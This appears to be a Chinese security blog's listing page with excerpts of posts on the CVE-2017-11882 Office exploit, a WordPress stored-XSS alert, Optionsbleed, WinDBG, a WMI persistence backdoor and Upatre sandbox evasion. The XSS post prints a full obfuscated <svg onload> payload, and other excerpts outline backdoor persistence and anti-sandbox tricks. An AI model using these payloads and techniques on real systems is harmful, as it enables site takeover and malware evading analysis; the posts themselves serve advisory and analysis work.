隐藏17年的Office远程代码执行漏洞现POC样本(CVE-2017-11882)

images

获取样本途径如下

2017年11月14日,微软发布了11月份的安全补丁更新,其中比较引人关注的莫过于悄然修复了潜伏17年之久的Office远程代码执行漏洞(CVE-2017-11882)。该漏洞为Office内存破坏漏洞,影响目前流行的所有Office版本。攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。

由于漏洞影响面较广,漏洞披露后,我们持续对漏洞相关攻击事件进行了关注。11月19日,我们监控到了已有漏洞POC在网上流传,迅速对相关样本进行了分析。目前该样本全球仅微软杀毒可以检测。

漏洞影响版本

  • Office 365
  • Microsoft Office 2000
  • Microsoft Office 2003
  • Microsoft Office 2007 Service Pack 3
  • Microsoft Office 2010 Service Pack 2
  • Microsoft Office 2013 Service Pack 1
  • Microsoft Office 2016

漏洞事件分析

漏洞出现在模块EQNEDT32.EXE中,该模块为公式编辑器,在Office的安装过程中被默认安装。该模块以OLE技术(Object Linking and Embedding,对象链接与嵌入)将公式嵌入在Office文档内。

images

图 1 – Microsoft 公式编辑器

当插入和编辑数学公式时,EQNEDT32.EXE并不会被作为Office进程(如Word等)的子进程创建,而是以单独的进程形式存在。这就意味着对于WINWORD.EXE, EXCEL.EXE等Office进程的保护机制,无法阻止EQNEDT32.EXE这个进程被利用。

由于该模块对于输入的公式未作正确的处理,攻击者可以通过刻意构造的数据内容覆盖掉栈上的函数地址,从而劫持程序流程,在登录用户的上下文环境中执行任意命令。

images

图 2 – CVE-2017-11882 POC中所执行的命令

继续阅读“隐藏17年的Office远程代码执行漏洞现POC样本(CVE-2017-11882)”

安全预警,2017最新 WordPress储存型XSS漏洞 【转】

漏洞概述及危害

建站程序类型:php+MySql
漏洞类型:储存型XSS
缺陷文件: formatting.php
漏洞参数:<svg onload=alert(‘1’)> ,(进行混淆)

代码如下:

<svg onload=[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()>

涉及版本:全版本
危害程度:高危
涉及厂商:WordPress
厂商网站:https://www.wordpress.org/
安装量:非常大
是否拥有源代码分析:有
是否默认配置:是

此漏洞影响WordPress全部版本包括最新版本的WordPress(4.8)都存在评论处的存储型XSS。攻击者可以未授权通过WordPress的评论注入JavaScript攻击代码。

评论被查看的时候,JavaScript就触发了。如果管理员登陆查看评论触发后,可能导致攻击者进入后台通过主题或插件编辑从而命令执行控制整个服务器。

当然,攻击者也可以创建新的管理员,甚至修改管理员密码,等等只要是管理员能在目标系统上做的任何事情。

继续阅读“安全预警,2017最新 WordPress储存型XSS漏洞 【转】”

心脏滴血二代来袭,CVE-2017-9798

选项 – HTTP OPTIONS方法可能会泄漏Apache的服务器内存

optionsbleed如果您在日常互联网使用HTTP协议,通常只使用两种方法:GET和POST。然而,HTTP有许多其他方法,所以我想知道你可以做什么,如果有任何漏洞。一种HTTP方法称为OPTIONS。它只是允许向服务器询问其支持的其他HTTP方法。服务器用“允许”标题回答,并给我们一个逗号分隔的支持方法列表。Alexa前100万的扫描显示了一些奇怪的事情:大量的服务器发出一个“允许”标题,看起来像是损坏的数据。 一些例子: 允许:,GET ,,, POST,OPTIONS,HEAD ,, 允许:POST,OPTIONS ,, HEAD,:09:44 GMT

继续阅读“心脏滴血二代来袭,CVE-2017-9798”

WinDBG

WinDBG和用户调试器一点很大不同是内核调试器在一台机器上启动,通过串口调试另一个相联系的以Debug方式启动的系统,这个系统可以是虚拟机上的系统,也可以是另一台机器上的系统(这只是微软推荐和实现的方法,其实象SoftICE这类内核调试器可以实现单机调试)。很多人认为主要功能都是在WinDBG里实现,事实上并不是那么一回事,windows已经把内核调试的机制集成进了内核,WinDBG、kd之类的内核调试器要做的仅仅是通过串行发送特定格式数据包来进行联系,比如中断系统、中断点显示内存数据等等。然后把收到的数据包经过WinDBG处理显示出来。
在进一步介绍WinDBG之前,先介绍两个函数:KdpTrace、KdpStub,我在《windows异常处理流程》一文里简单提过这两个函数。现在再提一下,当异常发生于内核态下,会调用KiDebugRoutine两次,异常发生于用户态下,会调用KiDebugRoutine一次,而且第一次调用都是刚开始处理异常的时候。

继续阅读“WinDBG”

利用WMI打造完美“三无”后门-The Core

这个“三无”后门的核心就是WMI中的永久事件消费者ActiveScriptEventConsumer(以下简称ASEC)。WMI中有许多这 类的事件消费者,简单的来说,当与其绑定的事件到达时,消费者就会被触发执行预先定义好的功能。例如可以用来执行二进制程序的 CommandLineEventConsumer等等

继续阅读“利用WMI打造完美“三无”后门-The Core”

Variant 与 内存泄露

1. 引用计数泄漏
由于C++的一些对象生命周期难以管理,在COM中加入了引用计数,用来解决这个问题,引用计数是COM最重要的特性 之一。但讽刺的是,虽然很多COM组件是用C++写的,但是在所有编程语言中,C++使用COM是最麻烦的,而且最容易产生引用计数的泄漏,从而最终造成 内存泄漏。

继续阅读“Variant 与 内存泄露”

反沙盒技术总汇(现在貌似叫沙盒逃逸)

Upatre木马新变种

Upatre沙盒逃逸新技术

Upatre木马使用了一些新的逃逸技术,来逃逸动态沙盒引擎的检查,这些技巧都非常的简单,但是非常的有效果。目前,VirusTotal上Upatre的检出率并不高,此次的新变种就检测不出来,这说明现在的恶意软件对付杀毒软件是越来越有办法了。

目前在恶意软件上加壳倒是越来越少了,因为加壳容易引起杀软引擎的注意,相反地目前的 恶意软件大量使用边执行边修改自身代码的方法来躲避杀软,不执行的话看起来就像是一个 正常的软件,而真正执行起来代码却全变了,这也算是一种进化。

下面说说两种 Upatre 使用的沙盒逃逸的办法,样本MD5: ac3558b973402ef6a27e03c391f20533

检查开机时间

一般使用沙盒的分析引擎的做法都是安装一个全新的系统,做系统镜像。然后在检查的时候 加载镜像,执行样本。而开机的时间往往都被忽略了,基本都不会超过10分钟。

Upatre 样本所采取的方法是利用GetTickCount 获取开机的毫秒数,当开机时间小于12分钟 是就不执行恶意的行为。

Upatre 样本

Upatre 样本

0xAFED8 是 720600毫秒 12分钟多一点,不到进程退出了。

检查鼠标位置

Upatre样本使用的第二种沙盒逃逸的方法是检查鼠标位置的变化,动态沙盒分析系统大多是 自动化的系统,也就是不使用鼠标,如果Upatre样本检查到鼠标的位置没有发生变化,同样不会执行恶意行为。

沙盒分析

沙盒分析

只要鼠标一动就退出循环,继续往下执行。

总结

最近出现的样本在反动态沙盒检测方面明显地进化了,针对性极强,不再局限于古老的 IsDebuggerPresent,而是利用PEB检查CPU核数等技术办法来检测,沙盒对抗估技术在后面的日子里一定会更加迅速的进化。